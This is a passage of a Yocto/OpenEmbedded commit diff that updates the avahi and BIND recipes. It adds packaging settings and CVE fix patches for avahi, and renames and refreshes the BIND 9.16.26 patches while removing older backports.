+LICENSE:avahi-daemon = "LGPL-2.1-or-later"
+LICENSE:libavahi-common = "LGPL-2.1-or-later"
+LICENSE:libavahi-core = "LGPL-2.1-or-later"
+LICENSE:libavahi-client = "LGPL-2.1-or-later"
+LICENSE:avahi-dnsconfd = "LGPL-2.1-or-later"
+LICENSE:libavahi-glib = "LGPL-2.1-or-later"
+LICENSE:avahi-autoipd = "LGPL-2.1-or-later"
+LICENSE:avahi-utils = "LGPL-2.1-or-later"
+
+# As avahi doesn't put any files into PN, clear the files list to avoid problems
+# if extra libraries appear.
+FILES:${PN} = ""
+FILES:avahi-autoipd = "${sbindir}/avahi-autoipd \
+ ${sysconfdir}/avahi/avahi-autoipd.action \
+ ${sysconfdir}/dhcp/*/avahi-autoipd \
+ ${sysconfdir}/udhcpc.d/00avahi-autoipd \
+ ${sysconfdir}/udhcpc.d/99avahi-autoipd"
+FILES:libavahi-common = "${libdir}/libavahi-common.so.*"
+FILES:libavahi-core = "${libdir}/libavahi-core.so.* ${libdir}/girepository-1.0/AvahiCore*.typelib"
+FILES:avahi-daemon = "${sbindir}/avahi-daemon \
+ ${sysconfdir}/avahi/avahi-daemon.conf \
+ ${sysconfdir}/avahi/hosts \
+ ${sysconfdir}/avahi/services \
+ ${sysconfdir}/dbus-1 \
+ ${sysconfdir}/init.d/avahi-daemon \
+ ${datadir}/avahi/introspection/*.introspect \
+ ${datadir}/avahi/avahi-service.dtd \
+ ${datadir}/avahi/service-types \
+ ${datadir}/dbus-1/system-services"
+FILES:libavahi-client = "${libdir}/libavahi-client.so.*"
+FILES:avahi-dnsconfd = "${sbindir}/avahi-dnsconfd \
+ ${sysconfdir}/avahi/avahi-dnsconfd.action \
+ ${sysconfdir}/init.d/avahi-dnsconfd"
+FILES:libavahi-glib = "${libdir}/libavahi-glib.so.*"
+FILES:libavahi-gobject = "${libdir}/libavahi-gobject.so.* ${libdir}/girepository-1.0/Avahi*.typelib"
+FILES:avahi-utils = "${bindir}/avahi-* ${bindir}/b* ${datadir}/applications/b*"
+
+RDEPENDS:${PN}-dev = "avahi-daemon (= ${EXTENDPKGV}) libavahi-core (= ${EXTENDPKGV})"
+RDEPENDS:${PN}-dev += "${@["", " libavahi-client (= ${EXTENDPKGV})"][bb.utils.contains('PACKAGECONFIG', 'dbus', 1, 0, d)]}"
+RDEPENDS:${PN}-dnsconfd = "${PN}-daemon"
+
+RRECOMMENDS:avahi-daemon:append:libc-glibc = " libnss-mdns"
+
+CONFFILES:avahi-daemon = "${sysconfdir}/avahi/avahi-daemon.conf"
+
+USERADD_PACKAGES = "avahi-daemon avahi-autoipd"
+USERADD_PARAM:avahi-daemon = "--system --home /run/avahi-daemon \
+ --no-create-home --shell /bin/false \
+ --user-group avahi"
+
+USERADD_PARAM:avahi-autoipd = "--system --home /run/avahi-autoipd \
+ --no-create-home --shell /bin/false \
+ --user-group \
+ -c \"Avahi autoip daemon\" \
+ avahi-autoipd"
+
+INITSCRIPT_PACKAGES = "avahi-daemon avahi-dnsconfd"
+INITSCRIPT_NAME:avahi-daemon = "avahi-daemon"
+INITSCRIPT_PARAMS:avahi-daemon = "defaults 21 19"
+INITSCRIPT_NAME:avahi-dnsconfd = "avahi-dnsconfd"
+INITSCRIPT_PARAMS:avahi-dnsconfd = "defaults 22 19"
+
+SYSTEMD_PACKAGES = "${PN}-daemon ${PN}-dnsconfd"
+SYSTEMD_SERVICE:${PN}-daemon = "avahi-daemon.service"
+SYSTEMD_SERVICE:${PN}-dnsconfd = "avahi-dnsconfd.service"
+
+do_install:append() {
+ install -d ${D}${sysconfdir}/udhcpc.d
+ install ${WORKDIR}/00avahi-autoipd ${D}${sysconfdir}/udhcpc.d
+ install ${WORKDIR}/99avahi-autoipd ${D}${sysconfdir}/udhcpc.d
+}
+
+# At the time the postinst runs, dbus might not be setup so only restart if running
+# Don't exit early, because update-rc.d needs to run subsequently.
+pkg_postinst:avahi-daemon () {
+if [ -z "$D" ]; then
+ killall -q -HUP dbus-daemon || true
+fi
+}
+
diff --git a/meta/recipes-connectivity/avahi/files/fix-CVE-2017-6519.patch b/meta/recipes-connectivity/avahi/files/fix-CVE-2017-6519.patch
deleted file mode 100644
index 7461fe193d..0000000000
--- a/meta/recipes-connectivity/avahi/files/fix-CVE-2017-6519.patch
+++ /dev/null
@@ -1,48 +0,0 @@
-Upstream-Status: Backport [https://github.com/lathiat/avahi/commit/e111def]
-
-CVE: CVE-2017-6519
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-From e111def44a7df4624a4aa3f85fe98054bffb6b4f Mon Sep 17 00:00:00 2001
-From: Trent Lloyd <trent@lloyd.id.au>
-Date: Sat, 22 Dec 2018 09:06:07 +0800
-Subject: [PATCH] Drop legacy unicast queries from address not on local link
-
-When handling legacy unicast queries, ensure that the source IP is
-inside a subnet on the local link, otherwise drop the packet.
-
-Fixes #145
-Fixes #203
-CVE-2017-6519
-CVE-2018-1000845
----
- avahi-core/server.c | 8 ++++++++
- 1 file changed, 8 insertions(+)
-
-diff --git a/avahi-core/server.c b/avahi-core/server.c
-index a2cb19a8..a2580e38 100644
---- a/avahi-core/server.c
-+++ b/avahi-core/server.c
-@@ -930,6 +930,7 @@ static void dispatch_packet(AvahiServer *s, AvahiDnsPacket *p, const AvahiAddres
-
- if (avahi_dns_packet_is_query(p)) {
- int legacy_unicast = 0;
-+ char t[AVAHI_ADDRESS_STR_MAX];
-
- /* For queries EDNS0 might allow ARCOUNT != 0. We ignore the
- * AR section completely here, so far. Until the day we add
-@@ -947,6 +948,13 @@ static void dispatch_packet(AvahiServer *s, AvahiDnsPacket *p, const AvahiAddres
- legacy_unicast = 1;
- }
-
-+ if (!is_mdns_mcast_address(dst_address) &&
-+ !avahi_interface_address_on_link(i, src_address)) {
-+
-+ avahi_log_debug("Received non-local unicast query from host %s on interface '%s.%i'.", avahi_address_snprint(t, sizeof(t), src_address), i->hardware->name, i->protocol);
-+ return;
-+ }
-+
- if (legacy_unicast)
- reflect_legacy_unicast_query_packet(s, p, i, src_address, port);
-
diff --git a/meta/recipes-connectivity/avahi/files/handle-hup.patch b/meta/recipes-connectivity/avahi/files/handle-hup.patch
new file mode 100644
index 0000000000..26632e5443
--- /dev/null
+++ b/meta/recipes-connectivity/avahi/files/handle-hup.patch
@@ -0,0 +1,41 @@
+CVE: CVE-2021-3468
+Upstream-Status: Submitted [https://github.com/lathiat/avahi/pull/330]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From 447affe29991ee99c6b9732fc5f2c1048a611d3b Mon Sep 17 00:00:00 2001
+From: Riccardo Schirone <sirmy15@gmail.com>
+Date: Fri, 26 Mar 2021 11:50:24 +0100
+Subject: [PATCH] Avoid infinite-loop in avahi-daemon by handling HUP event in
+ client_work
+
+If a client fills the input buffer, client_work() disables the
+AVAHI_WATCH_IN event, thus preventing the function from executing the
+`read` syscall the next times it is called. However, if the client then
+terminates the connection, the socket file descriptor receives a HUP
+event, which is not handled, thus the kernel keeps marking the HUP event
+as occurring. While iterating over the file descriptors that triggered
+an event, the client file descriptor will keep having the HUP event and
+the client_work() function is always called with AVAHI_WATCH_HUP but
+without nothing being done, thus entering an infinite loop.
+
+See https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=984938
+---
+ avahi-daemon/simple-protocol.c | 5 +++++
+ 1 file changed, 5 insertions(+)
+
+diff --git a/avahi-daemon/simple-protocol.c b/avahi-daemon/simple-protocol.c
+index 3e0ebb11..6c0274d6 100644
+--- a/avahi-daemon/simple-protocol.c
++++ b/avahi-daemon/simple-protocol.c
+@@ -424,6 +424,11 @@ static void client_work(AvahiWatch *watch, AVAHI_GCC_UNUSED int fd, AvahiWatchEv
+ }
+ }
+
++ if (events & AVAHI_WATCH_HUP) {
++ client_free(c);
++ return;
++ }
++
+ c->server->poll_api->watch_update(
+ watch,
+ (c->outbuf_length > 0 ? AVAHI_WATCH_OUT : 0) |
diff --git a/meta/recipes-connectivity/avahi/files/local-ping.patch b/meta/recipes-connectivity/avahi/files/local-ping.patch
new file mode 100644
index 0000000000..29c192d296
--- /dev/null
+++ b/meta/recipes-connectivity/avahi/files/local-ping.patch
@@ -0,0 +1,153 @@
+CVE: CVE-2021-36217
+CVE: CVE-2021-3502
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From 9d31939e55280a733d930b15ac9e4dda4497680c Mon Sep 17 00:00:00 2001
+From: Tommi Rantala <tommi.t.rantala@nokia.com>
+Date: Mon, 8 Feb 2021 11:04:43 +0200
+Subject: [PATCH] Fix NULL pointer crashes from #175
+
+avahi-daemon is crashing when running "ping .local".
+The crash is due to failing assertion from NULL pointer.
+Add missing NULL pointer checks to fix it.
+
+Introduced in #175 - merge commit 8f75a045709a780c8cf92a6a21e9d35b593bdecd
+---
+ avahi-core/browse-dns-server.c | 5 ++++-
+ avahi-core/browse-domain.c | 5 ++++-
+ avahi-core/browse-service-type.c | 3 +++
+ avahi-core/browse-service.c | 3 +++
+ avahi-core/browse.c | 3 +++
+ avahi-core/resolve-address.c | 5 ++++-
+ avahi-core/resolve-host-name.c | 5 ++++-
+ avahi-core/resolve-service.c | 5 ++++-
+ 8 files changed, 29 insertions(+), 5 deletions(-)
+
+diff --git a/avahi-core/browse-dns-server.c b/avahi-core/browse-dns-server.c
+index 049752e9..c2d914fa 100644
+--- a/avahi-core/browse-dns-server.c
++++ b/avahi-core/browse-dns-server.c
+@@ -343,7 +343,10 @@ AvahiSDNSServerBrowser *avahi_s_dns_server_browser_new(
+ AvahiSDNSServerBrowser* b;
+
+ b = avahi_s_dns_server_browser_prepare(server, interface, protocol, domain, type, aprotocol, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_dns_server_browser_start(b);
+
+ return b;
+-}
+\ No newline at end of file
++}
+diff --git a/avahi-core/browse-domain.c b/avahi-core/browse-domain.c
+index f145d56a..06fa70c0 100644
+--- a/avahi-core/browse-domain.c
++++ b/avahi-core/browse-domain.c
+@@ -253,7 +253,10 @@ AvahiSDomainBrowser *avahi_s_domain_browser_new(
+ AvahiSDomainBrowser *b;
+
+ b = avahi_s_domain_browser_prepare(server, interface, protocol, domain, type, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_domain_browser_start(b);
+
+ return b;
+-}
+\ No newline at end of file
++}
+diff --git a/avahi-core/browse-service-type.c b/avahi-core/browse-service-type.c
+index fdd22dcd..b1fc7af8 100644
+--- a/avahi-core/browse-service-type.c
++++ b/avahi-core/browse-service-type.c
+@@ -171,6 +171,9 @@ AvahiSServiceTypeBrowser *avahi_s_service_type_browser_new(
+ AvahiSServiceTypeBrowser *b;
+
+ b = avahi_s_service_type_browser_prepare(server, interface, protocol, domain, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_service_type_browser_start(b);
+
+ return b;
+diff --git a/avahi-core/browse-service.c b/avahi-core/browse-service.c
+index 5531360c..63e0275a 100644
+--- a/avahi-core/browse-service.c
++++ b/avahi-core/browse-service.c
+@@ -184,6 +184,9 @@ AvahiSServiceBrowser *avahi_s_service_browser_new(
+ AvahiSServiceBrowser *b;
+
+ b = avahi_s_service_browser_prepare(server, interface, protocol, service_type, domain, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_service_browser_start(b);
+
+ return b;
+diff --git a/avahi-core/browse.c b/avahi-core/browse.c
+index 2941e579..e8a915e9 100644
+--- a/avahi-core/browse.c
++++ b/avahi-core/browse.c
+@@ -634,6 +634,9 @@ AvahiSRecordBrowser *avahi_s_record_browser_new(
+ AvahiSRecordBrowser *b;
+
+ b = avahi_s_record_browser_prepare(server, interface, protocol, key, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_record_browser_start_query(b);
+
+ return b;
+diff --git a/avahi-core/resolve-address.c b/avahi-core/resolve-address.c
+index ac0b29b1..e61dd242 100644
+--- a/avahi-core/resolve-address.c
++++ b/avahi-core/resolve-address.c
+@@ -286,7 +286,10 @@ AvahiSAddressResolver *avahi_s_address_resolver_new(
+ AvahiSAddressResolver *b;
+
+ b = avahi_s_address_resolver_prepare(server, interface, protocol, address, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_address_resolver_start(b);
+
+ return b;
+-}
+\ No newline at end of file
++}
+diff --git a/avahi-core/resolve-host-name.c b/avahi-core/resolve-host-name.c
+index 808b0e72..4e8e5973 100644
+--- a/avahi-core/resolve-host-name.c
++++ b/avahi-core/resolve-host-name.c
+@@ -318,7 +318,10 @@ AvahiSHostNameResolver *avahi_s_host_name_resolver_new(
+ AvahiSHostNameResolver *b;
+
+ b = avahi_s_host_name_resolver_prepare(server, interface, protocol, host_name, aprotocol, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_host_name_resolver_start(b);
+
+ return b;
+-}
+\ No newline at end of file
++}
+diff --git a/avahi-core/resolve-service.c b/avahi-core/resolve-service.c
+index 66bf3cae..43771763 100644
+--- a/avahi-core/resolve-service.c
++++ b/avahi-core/resolve-service.c
+@@ -519,7 +519,10 @@ AvahiSServiceResolver *avahi_s_service_resolver_new(
+ AvahiSServiceResolver *b;
+
+ b = avahi_s_service_resolver_prepare(server, interface, protocol, name, type, domain, aprotocol, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_service_resolver_start(b);
+
+ return b;
+-}
+\ No newline at end of file
++}
diff --git a/meta/recipes-connectivity/bind/bind/0001-avoid-start-failure-with-bind-user.patch b/meta/recipes-connectivity/bind/bind-9.16.26/0001-avoid-start-failure-with-bind-user.patch
index 8db96ec049..ec1bc7b567 100644
--- a/meta/recipes-connectivity/bind/bind/0001-avoid-start-failure-with-bind-user.patch
+++ b/meta/recipes-connectivity/bind/bind-9.16.26/0001-avoid-start-failure-with-bind-user.patch
@@ -17,7 +17,7 @@ index b2eec60..6e03936 100644
@@ -57,6 +57,7 @@ case "$1" in
modprobe capability >/dev/null 2>&1 || true
if [ ! -f /etc/bind/rndc.key ]; then
- /usr/sbin/rndc-confgen -a -b 512 -r /dev/urandom
+ /usr/sbin/rndc-confgen -a -b 512
+ chown root:bind /etc/bind/rndc.key >/dev/null 2>&1 || true
chmod 0640 /etc/bind/rndc.key
fi
diff --git a/meta/recipes-connectivity/bind/bind-9.16.26/0001-named-lwresd-V-and-start-log-hide-build-options.patch b/meta/recipes-connectivity/bind/bind-9.16.26/0001-named-lwresd-V-and-start-log-hide-build-options.patch
new file mode 100644
index 0000000000..4dc6a5a2ae
--- /dev/null
+++ b/meta/recipes-connectivity/bind/bind-9.16.26/0001-named-lwresd-V-and-start-log-hide-build-options.patch
@@ -0,0 +1,37 @@
+From f5761bbaf743d291f3e7e859e69ebe61a1718cbf Mon Sep 17 00:00:00 2001
+From: Hongxu Jia <hongxu.jia@windriver.com>
+Date: Mon, 27 Aug 2018 21:24:20 +0800
+Subject: [PATCH] `named/lwresd -V' and start log hide build options
+
+The build options expose build path directories, so hide them.
+[snip]
+$ named -V
+|built by make with *** (options are hidden)
+[snip]
+
+Upstream-Status: Inappropriate [oe-core specific]
+
+Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
+Refreshed for 9.16.0
+Signed-off-by: Armin Kuster <akuster@mvista.com>
+---
+ bin/named/include/named/globals.h | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/bin/named/include/named/globals.h b/bin/named/include/named/globals.h
+index 0572154..3147e04 100644
+--- a/bin/named/include/named/globals.h
++++ b/bin/named/include/named/globals.h
+@@ -69,7 +69,7 @@ EXTERN const char *named_g_version INIT(VERSION);
+ EXTERN const char *named_g_product INIT(PRODUCT);
+ EXTERN const char *named_g_description INIT(DESCRIPTION);
+ EXTERN const char *named_g_srcid INIT(SRCID);
+-EXTERN const char *named_g_configargs INIT(CONFIGARGS);
++EXTERN const char *named_g_configargs INIT("*** (options are hidden)");
+ EXTERN const char *named_g_builder INIT(BUILDER);
+ EXTERN in_port_t named_g_port INIT(0);
+ EXTERN isc_dscp_t named_g_dscp INIT(-1);
+--
+2.20.1
+
diff --git a/meta/recipes-connectivity/bind/bind/bind-ensure-searching-for-json-headers-searches-sysr.patch b/meta/recipes-connectivity/bind/bind-9.16.26/bind-ensure-searching-for-json-headers-searches-sysr.patch
index 37e210e6da..f9cdc7ca4d 100644
--- a/meta/recipes-connectivity/bind/bind/bind-ensure-searching-for-json-headers-searches-sysr.patch
+++ b/meta/recipes-connectivity/bind/bind-9.16.26/bind-ensure-searching-for-json-headers-searches-sysr.patch
@@ -1,4 +1,4 @@
-From 9473d29843579802e96b0293a3e953fed93de82c Mon Sep 17 00:00:00 2001
+From edda20fb5a6e88548f85e39d34d6c074306e15bc Mon Sep 17 00:00:00 2001
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Date: Tue, 9 Jun 2015 11:22:00 -0400
Subject: [PATCH] bind: ensure searching for json headers searches sysroot
@@ -27,20 +27,21 @@ to make use of the combination some day.
Upstream-Status: Inappropriate [OE Specific]
Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
+
---
- configure.in | 2 +-
+ configure.ac | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
-Index: bind-9.11.3/configure.in
+Index: bind-9.16.4/configure.ac
===================================================================
---- bind-9.11.3.orig/configure.in
-+++ bind-9.11.3/configure.in
-@@ -2574,7 +2574,7 @@ case "$use_libjson" in
- libjson_libs=""
+--- bind-9.16.4.orig/configure.ac
++++ bind-9.16.4/configure.ac
+@@ -1232,7 +1232,7 @@ case "$use_lmdb" in
+ LMDB_LIBS=""
;;
auto|yes)
- for d in /usr /usr/local /opt/local
+ for d in "${STAGING_INCDIR}"
do
- if test -f "${d}/include/json/json.h"
+ if test -f "${d}/include/lmdb.h"
then
diff --git a/meta/recipes-connectivity/bind/bind/bind9 b/meta/recipes-connectivity/bind/bind-9.16.26/bind9
index 968679ff7f..968679ff7f 100644
--- a/meta/recipes-connectivity/bind/bind/bind9
+++ b/meta/recipes-connectivity/bind/bind-9.16.26/bind9
diff --git a/meta/recipes-connectivity/bind/bind/conf.patch b/meta/recipes-connectivity/bind/bind-9.16.26/conf.patch
index aad345f9fc..aa3642acec 100644
--- a/meta/recipes-connectivity/bind/bind/conf.patch
+++ b/meta/recipes-connectivity/bind/bind-9.16.26/conf.patch
@@ -276,7 +276,7 @@ diff -urN bind-9.3.1.orig/init.d bind-9.3.1/init.d
+
+ modprobe capability >/dev/null 2>&1 || true
+ if [ ! -f /etc/bind/rndc.key ]; then
-+ /usr/sbin/rndc-confgen -a -b 512 -r /dev/urandom
++ /usr/sbin/rndc-confgen -a -b 512
+ chmod 0640 /etc/bind/rndc.key
+ fi
+ if [ -f /var/run/named/named.pid ]; then
diff --git a/meta/recipes-connectivity/bind/bind/generate-rndc-key.sh b/meta/recipes-connectivity/bind/bind-9.16.26/generate-rndc-key.sh
index ef915c0ae5..633e29c0e6 100644
--- a/meta/recipes-connectivity/bind/bind/generate-rndc-key.sh
+++ b/meta/recipes-connectivity/bind/bind-9.16.26/generate-rndc-key.sh
@@ -2,7 +2,7 @@
if [ ! -s /etc/bind/rndc.key ]; then
echo -n "Generating /etc/bind/rndc.key:"
- /usr/sbin/rndc-confgen -a -b 512 -r /dev/urandom
+ /usr/sbin/rndc-confgen -a -b 512
chown root:bind /etc/bind/rndc.key
chmod 0640 /etc/bind/rndc.key
fi
diff --git a/meta/recipes-connectivity/bind/bind/init.d-add-support-for-read-only-rootfs.patch b/meta/recipes-connectivity/bind/bind-9.16.26/init.d-add-support-for-read-only-rootfs.patch
index 11db95ede1..11db95ede1 100644
--- a/meta/recipes-connectivity/bind/bind/init.d-add-support-for-read-only-rootfs.patch
+++ b/meta/recipes-connectivity/bind/bind-9.16.26/init.d-add-support-for-read-only-rootfs.patch
diff --git a/meta/recipes-connectivity/bind/bind/make-etc-initd-bind-stop-work.patch b/meta/recipes-connectivity/bind/bind-9.16.26/make-etc-initd-bind-stop-work.patch
index 146f3e35db..146f3e35db 100644
--- a/meta/recipes-connectivity/bind/bind/make-etc-initd-bind-stop-work.patch
+++ b/meta/recipes-connectivity/bind/bind-9.16.26/make-etc-initd-bind-stop-work.patch
diff --git a/meta/recipes-connectivity/bind/bind/named.service b/meta/recipes-connectivity/bind/bind-9.16.26/named.service
index cda56ef015..cda56ef015 100644
--- a/meta/recipes-connectivity/bind/bind/named.service
+++ b/meta/recipes-connectivity/bind/bind-9.16.26/named.service
diff --git a/meta/recipes-connectivity/bind/bind/0001-bind-fix-CVE-2019-6471.patch b/meta/recipes-connectivity/bind/bind/0001-bind-fix-CVE-2019-6471.patch
deleted file mode 100644
index 2fed99e1bb..0000000000
--- a/meta/recipes-connectivity/bind/bind/0001-bind-fix-CVE-2019-6471.patch
+++ /dev/null
@@ -1,64 +0,0 @@
-Backport patch to fix CVE-2019-6471.
-
-Ref:
-https://security-tracker.debian.org/tracker/CVE-2019-6471
-
-CVE: CVE-2019-6471
-Upstream-Status: Backport [https://gitlab.isc.org/isc-projects/bind9/commit/3a9c7bb]
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-From 3a9c7bb80d4a609b86427406d9dd783199920b5b Mon Sep 17 00:00:00 2001
-From: Mark Andrews <marka@isc.org>
-Date: Tue, 19 Mar 2019 14:14:21 +1100
-Subject: [PATCH] move item_out test inside lock in dns_dispatch_getnext()
-
-(cherry picked from commit 60c42f849d520564ed42e5ed0ba46b4b69c07712)
----
- lib/dns/dispatch.c | 12 ++++++++----
- 1 file changed, 8 insertions(+), 4 deletions(-)
-
-diff --git a/lib/dns/dispatch.c b/lib/dns/dispatch.c
-index 408beda367..3278db4a07 100644
---- a/lib/dns/dispatch.c
-+++ b/lib/dns/dispatch.c
-@@ -134,7 +134,7 @@ struct dns_dispentry {
- isc_task_t *task;
- isc_taskaction_t action;
- void *arg;
-- bool item_out;
-+ bool item_out;
- dispsocket_t *dispsocket;
- ISC_LIST(dns_dispatchevent_t) items;
- ISC_LINK(dns_dispentry_t) link;
-@@ -3422,13 +3422,14 @@ dns_dispatch_getnext(dns_dispentry_t *resp, dns_dispatchevent_t **sockevent) {
- disp = resp->disp;
- REQUIRE(VALID_DISPATCH(disp));
-
-- REQUIRE(resp->item_out == true);
-- resp->item_out = false;
--
- ev = *sockevent;
- *sockevent = NULL;
-
- LOCK(&disp->lock);
-+
-+ REQUIRE(resp->item_out == true);
-+ resp->item_out = false;
-+
- if (ev->buffer.base != NULL)
- free_buffer(disp, ev->buffer.base, ev->buffer.length);
- free_devent(disp, ev);
-@@ -3573,6 +3574,9 @@ dns_dispatch_removeresponse(dns_dispentry_t **resp,
- isc_task_send(disp->task[0], &disp->ctlevent);
- }
-
-+/*
-+ * disp must be locked.
-+ */
- static void
- do_cancel(dns_dispatch_t *disp) {
- dns_dispatchevent_t *ev;
---
-2.20.1
-
diff --git a/meta/recipes-connectivity/bind/bind/0001-configure.in-remove-useless-L-use_openssl-lib.patch b/meta/recipes-connectivity/bind/bind/0001-configure.in-remove-useless-L-use_openssl-lib.patch
deleted file mode 100644
index 871bb2a5f6..0000000000
--- a/meta/recipes-connectivity/bind/bind/0001-configure.in-remove-useless-L-use_openssl-lib.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 950867d9fd3f690e271c8c807b6eed144b2935b2 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Mon, 27 Aug 2018 15:00:51 +0800
-Subject: [PATCH] configure.in: remove useless `-L$use_openssl/lib'
-
-Since `--with-openssl=${STAGING_DIR_HOST}${prefix}' is used in bind recipe,
-the `-L$use_openssl/lib' has a hardcoded suffix, removing it is harmless
-and helpful for clean up host build path in isc-config.sh
-
-Upstream-Status: Inappropriate [oe-core specific]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- configure.in | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/configure.in b/configure.in
-index 54efc55..76ac0eb 100644
---- a/configure.in
-+++ b/configure.in
-@@ -1691,7 +1691,7 @@ If you don't want OpenSSL, use --without-openssl])
- fi
- ;;
- *)
-- DST_OPENSSL_LIBS="-L$use_openssl/lib -lcrypto"
-+ DST_OPENSSL_LIBS="-lcrypto"
- ;;
- esac
- fi
---
-2.7.4
-
diff --git a/meta/recipes-connectivity/bind/bind/0001-fix-enforcement-of-tcp-clients-v1.patch b/meta/recipes-connectivity/bind/bind/0001-fix-enforcement-of-tcp-clients-v1.patch
deleted file mode 100644
index 48ae125f84..0000000000
--- a/meta/recipes-connectivity/bind/bind/0001-fix-enforcement-of-tcp-clients-v1.patch
+++ /dev/null
@@ -1,60 +0,0 @@
-Backport patch to fix CVE-2018-5743.
-
-Ref:
-https://security-tracker.debian.org/tracker/CVE-2018-5743
-
-CVE: CVE-2018-5743
-Upstream-Status: Backport [https://gitlab.isc.org/isc-projects/bind9/commit/ec2d50d]
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-From ec2d50da8d81814640e28593d912f4b96c7efece Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Witold=20Kr=C4=99cicki?= <wpk@isc.org>
-Date: Thu, 3 Jan 2019 14:17:43 +0100
-Subject: [PATCH 1/6] fix enforcement of tcp-clients (v1)
-
-tcp-clients settings could be exceeded in some cases by
-creating more and more active TCP clients that are over
-the set quota limit, which in the end could lead to a
-DoS attack by e.g. exhaustion of file descriptors.
-
-If TCP client we're closing went over the quota (so it's
-not attached to a quota) mark it as mortal - so that it
-will be destroyed and not set up to listen for new
-connections - unless it's the last client for a specific
-interface.
-
-(cherry picked from commit f97131d21b97381cef72b971b157345c1f9b4115)
-(cherry picked from commit 9689ffc485df8f971f0ad81ab8ab1f5389493776)
----
- bin/named/client.c | 13 ++++++++++++-
- 1 file changed, 12 insertions(+), 1 deletion(-)
-
-diff --git a/bin/named/client.c b/bin/named/client.c
-index d482da7121..0739dd48af 100644
---- a/bin/named/client.c
-+++ b/bin/named/client.c
-@@ -421,8 +421,19 @@ exit_check(ns_client_t *client) {
- isc_socket_detach(&client->tcpsocket);
- }
-
-- if (client->tcpquota != NULL)
-+ if (client->tcpquota != NULL) {
- isc_quota_detach(&client->tcpquota);
-+ } else {
-+ /*
-+ * We went over quota with this client, we don't
-+ * want to restart listening unless this is the
-+ * last client on this interface, which is
-+ * checked later.
-+ */
-+ if (TCP_CLIENT(client)) {
-+ client->mortal = true;
-+ }
-+ }
-
- if (client->timerset) {
- (void)isc_timer_reset(client->timer,
---
-2.20.1
-
diff --git a/meta/recipes-connectivity/bind/bind/0001-gen.c-extend-DIRNAMESIZE-from-256-to-512.patch b/meta/recipes-connectivity/bind/bind/0001-gen.c-extend-DIRNAMESIZE-from-256-to-512.patch
deleted file mode 100644
index a8d601dcaa..0000000000
--- a/meta/recipes-connectivity/bind/bind/0001-gen.c-extend-DIRNAMESIZE-from-256-to-512.patch
+++ /dev/null
@@ -1,22 +0,0 @@
-Upstream-Status: Pending
-
-Subject: gen.c: extend DIRNAMESIZE from 256 to 512
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- lib/dns/gen.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-Index: bind-9.11.3/lib/dns/gen.c
-===================================================================
---- bind-9.11.3.orig/lib/dns/gen.c
-+++ bind-9.11.3/lib/dns/gen.c
-@@ -130,7 +130,7 @@ static const char copyright[] =
- #define TYPECLASSBUF (TYPECLASSLEN + 1)
- #define TYPECLASSFMT "%" STR(TYPECLASSLEN) "[-0-9a-z]_%d"
- #define ATTRIBUTESIZE 256
--#define DIRNAMESIZE 256
-+#define DIRNAMESIZE 512
-
- static struct cc {
- struct cc *next;
diff --git a/meta/recipes-connectivity/bind/bind/0001-lib-dns-gen.c-fix-too-long-error.patch b/meta/recipes-connectivity/bind/bind/0001-lib-dns-gen.c-fix-too-long-error.patch
deleted file mode 100644
index 01874a4407..0000000000
--- a/meta/recipes-connectivity/bind/bind/0001-lib-dns-gen.c-fix-too-long-error.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From 5bc3167a8b714ec0c4a3f1c7f3b9411296ec0a23 Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Wed, 16 Sep 2015 20:23:47 -0700
-Subject: [PATCH] lib/dns/gen.c: fix too long error
-
-The 512 is a little short when build in deep dir, and cause "too long"
-error, use PATH_MAX if defined.
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
----
- lib/dns/gen.c | 4 ++++
- 1 file changed, 4 insertions(+)
-
-Index: bind-9.11.3/lib/dns/gen.c
-===================================================================
---- bind-9.11.3.orig/lib/dns/gen.c
-+++ bind-9.11.3/lib/dns/gen.c
-@@ -130,7 +130,11 @@ static const char copyright[] =
- #define TYPECLASSBUF (TYPECLASSLEN + 1)
- #define TYPECLASSFMT "%" STR(TYPECLASSLEN) "[-0-9a-z]_%d"
- #define ATTRIBUTESIZE 256
-+#ifdef PATH_MAX
-+#define DIRNAMESIZE PATH_MAX
-+#else
- #define DIRNAMESIZE 512
-+#endif
-
- static struct cc {
- struct cc *next;
diff --git a/meta/recipes-connectivity/bind/bind/0001-named-lwresd-V-and-start-log-hide-build-options.patch b/meta/recipes-connectivity/bind/bind/0001-named-lwresd-V-and-start-log-hide-build-options.patch
deleted file mode 100644
index 75908aa638..0000000000
--- a/meta/recipes-connectivity/bind/bind/0001-named-lwresd-V-and-start-log-hide-build-options.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From a3af4a405baf5ff582e82aaba392dd9667d94bdc Mon Sep 17 00:00:00 2001
